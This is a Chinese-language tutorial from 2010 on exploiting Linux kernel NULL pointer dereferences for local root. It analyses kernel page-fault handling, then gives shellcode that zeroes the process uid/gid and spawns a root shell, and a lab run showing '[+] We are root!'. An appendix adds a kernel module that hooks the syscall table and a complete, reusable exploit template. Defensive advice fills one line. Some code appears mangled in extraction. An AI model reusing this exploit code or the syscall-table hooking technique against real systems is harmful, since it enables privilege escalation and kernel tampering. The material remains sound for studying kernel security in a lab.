Exploit The Linux Kernel NULL Pointer Dereference
Author: wzt
Home: http://hi.baidu.com/wzt85
date: 2010/06/13
Version: 0.3
目录:
1、引言
2、NULL Pointer是如何引发OOPS的
3、如何Exploit
4、攻击实验
5、NULL Pointer与Selinux的关系
6、如何防御NULL Pointer漏洞
7、附录
1、引言
在最近一系列的Linux kernel本地溢出漏洞中, 大部分是由于内核引用一个空指针而引发的, 看NULL Pointers的一个示例:
当内核代码引用一个空指针的时候, 内核打印如下OOPS信息, 并死机:
Kernel NULL pointer dereference test.
BUG: unable to handle kernel NULL pointer dereference at virtual address 00000000
printing eip:
00000000
*pde = 00000000
Oops: 0000 [#5]
SMP
Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache
CPU: 1
EIP: 0060:[<00000000>] Not tainted VLI
EFLAGS: 00010286 (2.6.18 #34)
EIP is at _stext+0x3efffd6c/0x3c
eax: 00000029 ebx: f20c85c0 ecx: 00000046 edx: 00000000
esi: 004b5ca0 edi: f20c85c3 ebp: f1afd000 esp: f1afdf9c
ds: 007b es: 007b ss: 0068
Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000)
Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30 c1003d10
bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b
c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000
Call Trace:
[<f8a81197>] new_kernel_null_pointer_test+0x69/0x76 [sys]
[<c1003d10>] syscall_call+0x7/0xb
Code: Bad EIP value.
EIP: [<00000000>] _stext+0x3efffd6c/0x3c SS:ESP 0068:f1afdf9c
2、NULL Pointer是如何引发OOPS的
要想exploit这种bug, 就必须先要了解内核是如何处理空指针引用的。
在程序的执行过程中,因为遇到某种障碍而使CPU无法最终访问到相应的物理内存单元,即无法完成从虚拟地址到物理地址映射的时候,
CPU 会产生一次缺页异常,从而进行相应的缺页异常处理。 那么都在什么情况下会引发缺页异常呢,我们分别从用户空间和内核空间来看:
用户空间:
1、 进程访问本身地址空间
---> 访问一个无效的内存地址(如mmap后,又unmap的一块内存)。
---> 由于用户堆栈用完导致的越界访问(用户进程堆栈空间已被用完, 又有一次函数调用发生,这时push/pusha指令被写到进程的堆中。
---> 访问一个还未曾映射的空间。
2、进程访问其他进程空间
3、进程通过非系统调用方式访问内核空间。
内核空间:
1、中断程序,不可延迟程序,临界区代码访问用户空间(可能引起休眠)。
2、内核线程访问访问用户空间。(内核线程不能访问用户空间)。
3、内核访问用户空间(通过系统调用进入内核,有进程的上下文current)
---> 访问当前进程空间。内核写一个只读的内存。
---> 访问其他进程空间。通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。
---> 内核bug或硬件错误访问一个用户空间地址。 如空指针引用bug。
4、访问内核空间。试图写一个没被映射的内核地址。
引起缺页异常可以在用户空间和内核空间中触发, 当CPU捕获到这个异常的时候就会引发一次缺页异常中断。由do_page_fault()函数来
判断和处理这些异常。 我们看下内核是怎么处理引用NULL pointer这个异常的:
fastcall void __kprobes do_page_fault(struct pt_regs *regs,
unsigned long error_code)
{
struct task_struct *tsk;
struct mm_struct *mm;
struct vm_area_struct * vma;
unsigned long address;
unsigned long page;
int write, si_code;
/* 先通过cr2寄存器得到引发异常的那个线性地址 */
address = read_cr2();
tsk = current;
si_code = SEGV_MAPERR;
/* 接着判断一下这个线性地址是不是发生于内核空间 */
if (unlikely(address >= TASK_SIZE)) {
/* 如果是内核引用了一内核空间中一处无效地址,则通过vmalloc_fault进行修复 */
if (!(error_code & 0x0000000d) && vmalloc_fault(address) >= 0)
return;
if (notify_page_fault(DIE_PAGE_FAULT, "page fault", regs, error_code, 14,
SIGSEGV) == NOTIFY_STOP)
return;
/* 如果不是继续跳转到bad_area_nosemaphore继续分析原因 */
goto bad_area_nosemaphore;
}
/* 以下用于处理线性地址处于用户空间的情况, 注意内核和用户程序都有可能引用一个无效的用户地址 */
if (regs->eflags & (X86_EFLAGS_IF|VM_MASK))
local_irq_enable();
mm = tsk->mm;
/* 中断程序,不可延迟程序,临界区代码不能访问用户空间, 跳到bad_area_nosemaphore继续分析原因 */
if (in_atomic() || !mm)
goto bad_area_nosemaphore;
if (!down_read_trylock(&mm->mmap_sem)) {
/* 内核访问用户空间, 通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。*/
if ((error_code & 4) == 0 &&
!search_exception_tables(regs->eip))
goto bad_area_nosemaphore;
down_read(&mm->mmap_sem);
}
bad_area:
up_read(&mm->mmap_sem);
bad_area_nosemaphore:
/* User mode accesses just cause a SIGSEGV */
if (error_code & 4) {
/* 如果是用户进程访问了其他进程的空间,就杀死当前进程 */
if (is_prefetch(regs, address, error_code))
return;
tsk->thread.cr2 = address;
/* Kernel addresses are always protection faults */
tsk->thread.error_code = error_code | (address >= TASK_SIZE);
tsk->thread.trap_no = 14;
force_sig_info_fault(SIGSEGV, si_code, address, tsk);
return;
}
/* 如果是由于内核自己访问了用户空间的无效地址,则就会引发OOPS,
if (oops_may_print()) {
/* 如果这个地址小于PAGE_SIZE, 一般为4096字节,内核就认为这是一次空指针操作, 开始打印OOPS信息,杀死当前进程 */
if (address < PAGE_SIZE)
printk(KERN_ALERT "BUG: unable to handle kernel NULL "
"pointer dereference");
else
printk(KERN_ALERT "BUG: unable to handle kernel paging"
" request");
printk(" at virtual address %08lx ",address);
printk(KERN_ALERT " printing eip: ");
printk("%08lx ", regs->eip);
}
page = read_cr3();
page = ((unsigned long *) __va(page))[address >> 22];
if (oops_may_print())
printk(KERN_ALERT "*pde = %08lx ", page);
force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk);
}
3、如何Exploit
3-1、攻击原理。
在前面我们知道了内核是如何处理一个NULL pointer引用的: eip停止在0x0处, 打印OOPS信息,然后死机。 我们也知道对于黑客来讲
只有在普通权限下能触发的kernel null pointer漏洞才是有用的,可以帮助黑客有机会提升进程权限。OK, 既然发生OOPS的时候eip停留在
内存0x0地址上, 那么用户进程只要能把shellcode放置在内存0地址上,并且kernel可以去运行用户进程的shellcode而不崩溃,那么就达到了
提权权限的目的。
3-2、将代码映射到0地址内存。
Linux系统提供了一个系统调用mmap, 可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
我们看看内核是怎么实现的:
asmlinkage long sys_mmap2(unsigned long addr, unsigned long len,
unsigned long prot, unsigned long flags,
unsigned long fd, unsigned long pgoff)
{
int error = -EBADF;
struct file *file = NULL;
struct mm_struct *mm = current->mm;
flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
/* 注意到如果没设置MAP_ANONYMOUS属性, 就要根据fd来获得文件file指针, 攻击程序设置了MAP_ANONYMOUS,并把fd,offset都设为0
来建立一次匿名映射 */
if (!(flags & MAP_ANONYMOUS)) {
file = fget(fd);
if (!file)
goto out;
}
down_write(&mm->mmap_sem);
/* do_mmap_pgoff才是映射的主体 */
error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff);
up_write(&mm->mmap_sem);
if (file)
fput(file);
out:
return error;
}
我们从此处只关心建立匿名映射的过程:
unsigned long do_mmap_pgoff(struct file * file, unsigned long addr,
unsigned long len, unsigned long prot,
unsigned long flags, unsigned long pgoff)
{
...
/* 用来验证和找到一个可以映射参数addr的内存地址 */
addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot & PROT_EXEC);
...
}
get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned long len,
unsigned long pgoff, unsigned long flags, int exec)
{
...
/* 如果没设置MAP_FIXED选项,就要从进程地址1G以上的空间中选取一块未用内存进行映射 */
if (!(flags & MAP_FIXED)) {
unsigned long (*get_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
if (exec && current->mm->get_unmapped_exec_area)
get_area = current->mm->get_unmapped_exec_area;
else
get_area = current->mm->get_unmapped_area;
if (file && file->f_op && file->f_op->get_unmapped_area)
get_area = file->f_op->get_unmapped_area;
addr = get_area(file, addr, len, pgoff, flags);
if (IS_ERR_VALUE(addr))
return addr;
}
...
}
所以通过以上对内核代码的分析,我们可以用MAP_ANONYMOUS和MAP_FIXED参数来把用户代码映射到0内存处。
3-3、内核为什么可以运行用户空间映射来的代码
0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候,是通过系统调用进入内核空间,内核通过进程上下文current
代表进程继续执行, 当eip执行到了一个0x0地址时,它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前
进程的任何信息包括内核其他代码。
3-4、如何写shellcode
我们最主要的目的是当内核引用一个NULL Pointer的时候去执行我们的shellcode, 此时是内核来执行shellcode, 所以shellcode可以修改当前
进程current的uid, gid字段使其变为0, 从而使当前进程获得root权限,然后在系统调用完成返回用户空间的时候执行一个bash, 来获得可爱的#字符。
在用mmap完成映射的时候,要将shellcode放置在内存0x0处:
*(char *)0 = 'x90';
*(char *)1 = 'xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
即为:NOP+JMP+KERNEL_CODE。 *(unsigned long *)2为什么要设置为kernel_code - 6呢?
jmp指令后面跟的是偏移地址, 为kernel_code减去jmp指令的下一条指令的地址。 由于是从0x0地址开始算偏移的nop, jmp本身各占一个字节,在加上
偏移地址占用的4个字节, 1+1+4 = 6。
kernel_code才是真正的shellcode, 我们的目的是修改current的uid,gid为0, 所以可以在获得current指针后,暴力搜索current结构,匹配
用户进程的uid和gid,发现后将其改为0,即可。
struct task_struct {
……
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
……
}
void kernel_code()
{
int i;
uint *p = get_current(); // 获得当前进程的current指针。
for (i = 0; i < 1024-13; i++) {
/* 暴力搜索uid, euid,suid,fsuid, gid, egid, sgid,fsgid */
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid &&
p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
// 重新更新堆栈中寄存器值。 替内核执行iret指令, 结束系统调用返回用户空间。
exit_kernel();
}
// 获得当前内核的current指针, 跟内核的实现方式一样
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
// 当发生系统调用中断的时候, 还没进入系统调用服务历程的时候,CPU是自动把user cs, ip, cflags, user ess, xx压入内核堆栈,
当执行iret返回用户空间的时候将其pop出来, 使得用户程序得以继续运行。exit_kernel要做的就是修改当前堆栈,重新设置用户空间的
cs值为用户空间的值, eip值为exit_code, 当内核回到用户空间的时候就会去执行exit_code, exit_code通常只要执行一个bash即可。
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
注意内核执行完exit_kernel()函数后, 当前进程就以从内核空间切回到用户空间了, 此时进程已经具备uid为0的权限,我们的exploit程序
可以随意的调用c库中的任何函数了。
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed ");
exit(-1);
}
printf("[+] We are root! ");
execl("/bin/sh", "sh", "-i", NULL);
}
4、实验
在了解了攻击原理和怎样写shellcode后, 我们开始做实验,验证下我们的想法是不是对的。 这里我故意加载一个有NULL pointer引用的
内核模块, 它给当前系统增加了一个系统调用, 然后我们的用户程序引用这个系统调用的时候, 就会发生一次OOPS:
void (*test)(void) = NULL;
asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
{
char *buff = NULL;
char *p = NULL;
buff = (char *)kmalloc(len + 1, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed. ");
return 0;
}
if (copy_from_user(buff, buf, len)) {
printk("copy data from user failed. ");
return 0;
}
buff[len + 1] = ' ';
printk("%d: %s ", strlen(buff), buff);
printk("Kernel NULL pointer dereference test. ");
test();
return 1;
}
先装入模块
[root@localhost test]# insmod /root/exploit/module/sys.ko
然后运行exploit程序:
int main(void) {
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
perror("mprotect");
return -1;
}
}
printf("[+] Mmap zero memory ok. ");
*(char *)0 = 'x90';
*(char *)1 = 'xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
new_kernel_null_pointer_test("abcd", 4);
}
[wzt@localhost ~]$./exp
[+] Mmap zero memory ok.
[+] We are root!
sh-3.2#
看到可爱的#号了吧, 我们成功了!
5、NULL Pointer与Selinux的关系
略过
6、如何防御Kernel NULL Pointer 0day攻击
/proc/sys/vm/mmap_min_addr设置为大于4096的值或者关闭selinux.
7. 附录
7-1. hook examle
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>
#include "hook.h"
unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;
spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;
asmlinkage int (*orig_printk)(const char *fmt, ...);
void (*test)(void) = NULL;
unsigned int get_sct_addr(void)
{
int i = 0, ret = 0;
for (; i < 500; i++) {
if ((*(unsigned char*)(system_call_addr + i) == 0xff)
&& (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
&& (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
ret = *(unsigned int *)(system_call_addr + i + 3);
break;
}
}
return ret;
}
asmlinkage long new_kernel_null_pointer_test(char *buf, int len)
{
char *buff = NULL;
char *p = NULL;
buff = (char *)kmalloc(len + 1, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed. ");
return 0;
}
if (copy_from_user(buff, buf, len)) {
printk("copy data from user failed. ");
return 0;
}
buff[len + 1] = ' ';
printk("%d: %s ", strlen(buff), buff);
printk("Kernel NULL pointer dereference test. ");
test();
return 1;
}
static int hook_init(void)
{
struct descriptor_idt *pIdt80;
__asm__ volatile ("sidt %0": "=m" (idt48));
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
if (!system_call_addr) {
DbgPrint("oh, shit! can't find system_call address. ");
return 0;
}
DbgPrint(KERN_ALERT "system_call addr : 0x%8x ",system_call_addr);
sys_call_table_addr = get_sct_addr();
if (!sys_call_table_addr) {
DbgPrint("oh, shit! can't find sys_call_table address. ");
return 0;
}
DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x ",sys_call_table_addr);
sys_call_table = (void **)sys_call_table_addr;
lock_kernel();
CLEAR_CR0
sys_call_table[59] = new_kernel_null_pointer_test;
SET_CR0
unlock_kernel();
printk("install hook ok. ");
}
static void hook_exit(void)
{
lock_kernel();
CLEAR_CR0
SET_CR0
unlock_kernel();
DbgPrint("uninstall hook ok. ");
}
module_init(hook_init);
module_exit(hook_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
7-2. kernel null pointer攻击模板。
#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>
#include "syscalls.h"
static unsigned int uid, gid;
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)
void exit_code();
char exit_stack[1024 * 1024];
int (*kernel_printk)(const char *fmt, ...);
#define __NR_new_kernel_null_pointer_test 59
static inline my_syscall2(long, new_kernel_null_pointer_test, char *, buff, int, len);
int errno;
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed ");
exit(-1);
}
printf("[+] We are root! ");
execl("/bin/sh", "sh", "-i", NULL);
}
void test_code(void)
{
kernel_printk = 0xc0424ae3;
kernel_printk("We are in kernel. ");
}
int main(void) {
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
//if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE ) < 0) {
perror("mprotect");
return -1;
}
}
printf("[+] Mmap zero memory ok. ");
*(char *)0 = 'x90';
*(char *)1 = 'xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
new_kernel_null_pointer_test("abcd", 4);
}